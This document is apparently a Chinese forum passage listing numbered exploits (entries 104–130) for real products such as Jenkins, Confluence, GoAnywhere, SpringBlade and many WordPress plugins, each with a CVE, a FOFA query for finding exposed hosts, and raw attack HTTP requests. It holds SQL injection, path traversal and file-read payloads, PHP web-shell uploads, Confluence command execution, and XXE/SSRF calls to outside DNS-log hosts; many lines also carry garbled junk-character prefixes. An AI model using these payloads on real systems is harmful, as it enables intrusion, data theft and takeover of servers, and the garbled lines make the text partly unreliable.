( U+ `; c, g0 B5 Z- P! @/ A( s* v3 Y

104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
9 r0 r9 q5 S4 `5 s+ {CVE-2024-0569
4 `2 [( d; d7 f! r6 @- E+ G; sFOFA：title="TOTOLINK"
. P5 I, E: M5 a$ K5 j: U% JPOST /cgi-bin/cstecgi.cgi HTTP/1.1
' }  g, M+ Q* H9 ^) D- p& dHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
* Q3 Q+ _; u, K) @! u5 x/ y) rUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
* L) h2 W$ v: h9 bContent-Type: application/x-www-form-urlencoded:charset=UTF-8
* y) q. W# m& Q0 j% g: P9 C/ aOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
8 l' E2 C8 ]3 jAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

# e! W. s  }" o! z9 [{
"topicurl":"getSysStatusCfg",
"token":""
7 D+ z4 {2 w4 x: D5 M}

105. SpringBlade v3.2.0 export-user SQL 注入
, N' ^! E1 ^( |  {: nFOFA：body="https://bladex.vip"
% K" L. e7 \: mhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
# u5 S. u* t3 }1 ?. b0 `8 w' qHost: your-ip
  ^8 ]$ a) H( I/ W& G0 n: A- A$ y) ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 X, X$ v6 j# ZBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% j) V& D* @' O! i; S7 H

5 R! ^6 p  J( k- S1 v& {- I( u2 F- X107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
4 }* |. D+ l6 H) X2 c% m+ yGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
; u; C1 j% n2 W% yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
' t3 f# g$ `' {$ x  h  _Connection: close


108. D-Tale 3.9.0 SSRF
9 o/ S; R% O6 e! s7 uCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
. D# M4 l! ]9 s2 c% EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+ O2 l0 v3 Q! h& ?  v% [% ^Connection: close
* ?9 M% i. E; D% p
+ T3 O2 g8 _& E: ^
3 u- B2 p/ `& D$ o4 j: k  h109. Jenkins CLI 任意文件读取
CVE-2024-23897
- t* [% u4 j/ N5 [& PFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
* n$ b: n$ x! f) yHost:
0 Y" ?9 T; _6 m7 j( S5 j2 G( O" fContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
, |. }8 U1 h# v- o5 q) {Content-Length: 163

; v8 x6 E; p! O9 p) J6 ^b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
9 t9 @. u+ k; s5 C8 b7 e7 K
" M2 i) M; {& o- e/ `
POST /cli?remoting=false HTTP/1.1
  v# x2 S  M( n% ~6 z5 @' _: WHost:
# Y& A  b8 O1 cSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
# F! K/ I3 Q% F" K7 c1 Sdownload
Content-Type: application/x-www-form-urlencoded
4 Q, x. a$ o$ d" T& u  q8 ^: H2 EContent-Length: 0

, X2 `+ G3 M- Z8 Y
5 \2 ]; r! N1 j/ R9 ?ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
6 e9 a: k& s* e, d6 hjava -jar jenkins-cli.jar help
- g# |7 y. _! `$ R[COMMAND]
2 a3 s7 Y: K+ iLists all the available commands or a detailed description of single command.
2 k2 q4 E+ \/ r8 l0 x5 K5 b, g COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
* U5 a4 v; u6 f: g! a6 l5 R

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
' f- Q$ M. @- ?FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
( M9 s8 a! E5 A$ y% c8 t. EUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
/ x, j; |4 C6 rAccept: */*
Accept-Language: en
Accept-Encoding: gzip

* f  A; H8 q0 k& B0 d. ^/ O& N
) o& N6 C; n4 w/ b  L111. WordPress Plugin HTML5 Video Player SQL注入
5 Y3 G( _/ g8 F) U" ACVE-2024-1061
, i" z; ^) l) z1 c; Z9 xFOFA："wordpress" && body="html5-video-player"
9 E0 F& P% v' t5 dGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
! {. C7 {1 c2 u& EHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
8 ?$ q! ]3 |9 P1 [9 M$ K( xAccept: */*
6 u* S' o0 ?% E" J* M% _5 K% jAccept-Language: en
3 }% z5 l* U* R; `. T2 n8 qAccept-Encoding: gzip
& h0 C" A# y1 I! Q0 b6 v4 D8 x: t
% u: a# |( I- a
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
; I# [2 K, t, vFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
2 M& O5 N! T: I# t8 aHost: {{Hostname}}
Content-Type: application/json

% S+ T) k  ~  j. ~! l  M{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
7 q* Z2 V, @  X: vUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
/ R! H# M$ d2 M# c; P. X3 IConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
! S$ `3 L4 u- W* U: OHost: your-ip
9 v0 a# t: T: n& ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


( Q' V$ N7 {3 S, M1 }! J2 H) S7 [115. WordPress Bricks Builder <= 1.9.6 RCE
) @4 c" t7 J* r1 h8 N5 ICVE-2024-25600
3 Y9 {/ m: Y: t, xFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
& N, n( t5 m9 \  xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
0 |" `, o+ H0 \, l+ q4 IConnection: close
Accept-Encoding: gzip

  a! U( u' M) H
5 ~- v1 f; T5 W! z第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
4 I/ U0 {2 t4 V; f3 G# CHost: x.x.x.x
; W) f/ c6 L7 V9 T( B) RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 l0 S1 m+ z! f4 y8 X9 \Connection: close
Content-Length: 356
! t0 ]% W2 B: q  p; x( L0 U% ?0 hContent-Type: application/json
1 N% D$ c& Z: g5 |3 l% U( }$ KAccept-Encoding: gzip

{
"postId": "1",
: W4 t8 X% d: g% @: x  "nonce": "第一步获得的值",
* G& c, L7 h' Y  M  "element": {
1 @, X$ z& o2 i; K* ~* z8 h" e6 x, n4 k    "name": "container",
$ F0 F7 c) F5 I' A    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
  e3 W; q3 ^6 g9 C) i7 A6 B      }
    }
8 X0 w, z, J( S! g: B  }
}
! E' F. ~5 b6 u0 F0 Z6 y

) P" M) `, L0 R' r4 T0 G; u4 E116. wordpress js-support-ticket文件上传
0 r2 e  [1 r: ]: C4 AFOFA：body="wp-content/plugins/js-support-ticket"
& ]; s) Z) O& f3 Z! Z7 T" \POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
5 B: u: N$ Z  s& I5 W0 r% cHost:
3 A- f3 t: u5 A) }+ iContent-Type: multipart/form-data; boundary=--------767099171
* ]7 h7 `$ {1 yUser-Agent: Mozilla/5.0
7 I3 a: S0 v8 K! c+ ^
----------767099171
3 E: T: n9 K/ M# c1 p0 lContent-Disposition: form-data; name="action"
+ y- p9 ]4 Y) I; O+ R; dconfiguration_saveconfiguration
) H3 i5 d3 K5 Y) n2 o, K4 h----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
2 @& P  h- V. ]5 V; g1 BContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
+ `8 [  a2 r. C1 z5 h  E0 b2 H7 f----------767099171--
7 B1 i  N, S* c; F: n9 e

117. WordPress LayerSlider插件SQL注入
* U# Q, C. J1 a( sversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
# S0 D+ `& o4 T8 w0 f- ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ J& p- P" X6 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ k9 y# F- m) j' GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; I0 F  t9 u7 i& JAccept-Encoding: gzip, deflate, br
; K* l3 ]7 ]2 z$ s! P* _Connection: close
% ]9 w1 k( }+ K! R8 X; FUpgrade-Insecure-Requests: 1
  w& k2 T8 q6 ]4 L. v( L, p
2 [9 q  _: {4 ^8 g: p
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
" `, c9 ]5 a' l5 nPOST /Tool/uploadfile.php? HTTP/1.1
9 \4 M' K5 S+ B- K, gHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
8 z3 K+ _) N6 J3 B* R$ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, X* D$ \/ j3 Z  JContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
+ l# S3 F" F: H# _- sUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
( w' d1 N6 b; c; O+ a; ~% WSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
! b+ v: `+ G# ^) D) v. v8 X# bTe: trailers
# Y0 w; Y) w7 p' k) H& f) Z- J5 lConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

7 b5 S  Y( B# M; j- q6 ]<?php
system($_POST["passwd"]);
?>
" [; F1 l' |9 P5 b0 m1 U. c-----------------------------13979701222747646634037182887
7 U  d6 x& D6 ?2 d" j1 A# }+ c9 uContent-Disposition: form-data; name="txt_path"

/home/src.php
# R" z: @7 w8 R, p0 m-----------------------------13979701222747646634037182887--


访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
  r- j* E- z4 j) o! XCVE-2024-1254
/ \. t- Z3 D* TFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
$ |) ~# n6 q4 V% Y0 Q7 APOST /sysmanage/sysmanageajax.php HTTP/1.11
9 B4 X, x; M  s9 fHost: x.x.x.x
4 T+ @; e% r. E; pCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
9 N3 w1 y/ c: TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
; R! Y+ `# {* t3 |' h! QAccept: */*
; l8 S" Y4 @! M+ L5 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ K. z! n  q) n3 i% ^$ JAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
3 k, h4 _2 u$ ]0 T2 JContent-Length: 109
Origin: https://58.18.133.60:8443
# Q+ z4 O6 F( c( y2 yReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
) }  z  _% \2 Q6 }4 M" L6 fSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
$ h6 v1 Y  u2 HX-Forwarded-For: 1.1.1.1
7 s3 E2 H% l$ `" h8 _1 s0 nX-Originating-Ip: 1.1.1.1
( w. i, p; S% Q5 x8 p, X+ PX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
2 v: {/ ], Z8 qConnection: close
5 r" b4 E1 i! A
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
( D& C/ p" h9 L0 F; w% p5 E/ }

" G; M: [3 w6 Q) L! V7 }4 I, _! ~+ w120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
' y& ]+ F# z) m- |1 D7 UFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
/ ?* X- l/ E, @Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
5 M+ ^. d# p, q1 \; q- c5 V) \! @: lUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 G2 \+ i3 y& `% k4 @Accept-Encoding: gzip, deflate
8 a7 U5 T: {, a- A+ nContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
5 v' E% |! P  q$ K7 q7 g  |- SContent-Length: 597
7 s: s- G2 m0 H" A4 n# J  ZOrigin: https://ip:port
" w9 g( L8 H1 j' b& G0 [7 QReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
3 C; ?2 U* `4 G1 X$ QSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
5 v- |6 H# k& [2 v& U  D* YTe: trailers
Connection: close
: {5 S( N. `( @8 l9 z2 {# ~
! R5 e5 V* F. L& x. [-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
  K3 c; o8 l3 E0 N) j/ vContent-Disposition: form-data; name="1_ck"

1_radhttp
$ F+ O3 d: M% X3 b5 S5 O+ @5 l) ^$ e-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
* q3 ~" e' a" V
8 N+ e- E% o1 Iimport
-----------------------------42328904123665875270630079328
+ c% ?( I8 X  L/ N

8 A  x3 ]! \% D# A3 M% D5 `1 p文件路径/upload/2.php
1 K  ?3 C5 c) u
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
! w' q7 N- u+ E. X9 H- ~) @CVE-2024-1918
8 H( J" k6 I6 S* C+ G; E1 E$ Z: _. GFOFA：title="Smart管理平台"
7 z7 G; g8 [3 Y- W: MPOST /useratte/userattestation.php HTTP/1.1
" f" x8 @& j* c" w! LHost: 192.168.40.130:8443
- g1 I% m% |0 _& H' n$ ]Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
4 \, p9 @. o. n/ fUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
3 }; H, S' u% Y( D) J2 SOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
5 Q$ l3 |  Y* MSec-Fetch-User: ?1
6 e" S* n- _. X: QTe: trailers
5 V4 k+ U, l2 K, T1 _Connection: close
, T) b& e+ S) K& T0 |
-----------------------------42328904123665875270630079328
- \0 {9 V" V& k# tContent-Disposition: form-data; name="web_img"; filename="1.php"
* f" _& H) U) v, D% n" s% j. ~+ lContent-Type: application/octet-stream

<?php phpinfo();?>
& V5 P" q* a: X* u-----------------------------42328904123665875270630079328
- I$ D! M4 ]/ x+ n( DContent-Disposition: form-data; name="id_type"
- X) ?6 |0 x; k
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
) [- R& `/ ?9 h( U/ V3 D7 \! I  e
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

" j; o: a) ]4 _5 M9 Uset
-----------------------------42328904123665875270630079328
0 I9 l, N, q) ~$ w2 X. P
$ D+ P. a0 Z: C% t2 [7 @. o3 J% E( I
6 W! A! v, P% |' Nboot/web/upload/weblogo/1.php

" a4 ?5 H$ p9 _6 u" K+ R122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
# p0 x& Y; U; _5 d* k: hGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
* X) T) P, N0 L. Z: q* z8 V" s$ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& ]6 ?3 P* {! I6 V+ H- WUpgrade-Insecure-Requests: 1
$ K+ x1 r! |$ {Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close


3 Q/ m5 [/ H* p% O& Q6 M123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
& z8 d) p) e' M) s  NConnection: close
! y- H# t. t5 G" \4 Y" B, vContent-Type: application/x-www-form-urlencoded

# i& Y; c0 Q% v$ X" C& Qlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


  A2 Z5 \3 f2 B$ E124. 湖南建研工程质量检测系统任意文件上传
$ q4 [# B7 ]  }; P3 A$ xFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
* z- w: L( X; t8 j% q: s& U4 nAccept-Encoding: gzip, deflate, br
) Y. ~! ~: I( C! N5 R8 B/ uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: H& `; A0 V6 p$ c5 zConnection: close
Content-Type: application/x-www-form-urlencoded
1 M# s5 F; B& [( I/ }# _# h
4 T/ t& `  M4 u0 Q! l% F' S, bfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
& m: w& y) `0 @$ M4 `# o' A
$ Y. O" B, ]1 |
9 u/ t' O/ G$ A7 e: z) l  Chttp://192.168.40.130:8282/Scripts/abcgcg.aspx
- t9 _' A+ @& W  D5 ]; J* u$ @
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
- M; H- N* U" T* f# ]* Q

) E3 d. }0 r/ ?4 p使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
- [- h+ I( w3 W( z  k0 p0 D5 T

创建好用户后直接登录后台，可以执行系统命令。
' ?& D1 @( z: n6 A. m* V7 u/ k
126. Aiohttp 路径遍历
# j; ]8 A/ r) u. m! xFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
0 V2 b- k9 B  U2 Q# k7 YHost: x.x.x.x
- U9 ?# e6 ~0 u. x( r0 A% }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
$ N/ j9 F9 A4 ?% ]- e0 iAccept-Encoding: gzip
4 G, G$ }4 p: P* w
# {( p% P+ V0 ]" L
127. 广联达Linkworks DataExchange.ashx XXE
, N+ U, A( s( M7 U% yFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
4 K; f+ U+ S; E# C" rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 ^0 e/ \/ ~) e* L) cContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

5 n+ b; J$ u2 [6 N) E& x! N------WebKitFormBoundaryJGgV5l5ta05yAIe0
6 u6 d8 d4 D# ?' hContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
: ^% h- }& B1 z1 p
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
2 J* E9 x; E9 v; t4 B<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
: S% ^6 V, w, o]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

: {: a9 J0 G0 L+ N& U9 }

128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
! u) b! M& r# r6 \/ r' I# k% oFOFA：app="Adobe-ColdFusion"
: h/ q6 F* u, lPAYLOAD
: v- W8 A& V* [  `8 X2 f
5 Q- b+ Y6 D- T! _( H0 Y129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
; a, D! w% c% g8 b4 f! w3 ?第一步，获取uuid
; n4 K$ U; J+ y6 G! ?3 i; AGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ z. K0 y2 D" @, ^5 NAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
9 e/ ^5 W. |/ d# m+ o' Q3 G

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) s2 e' @( U+ S, \Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

7 q( n* [/ Q' E  L. L+ l% K
130. Laykefu客服系统任意文件上传
0 C8 J/ j7 [+ v& k$ MFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
  X" N& Z9 t. QHost: 127.0.0.1
' g: x" C' Q' F" _+ u4 iAccept: application/json, text/javascript, */*; q=0.01
  c1 f7 N2 V  r6 a# \7 T- SX-Requested-With: XMLHttpRequest
9 Q* `, Q0 B/ |! d, r: R% YUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
5 c% B1 G0 x; HContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
, K% r4 s, {: ?3 a8 lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
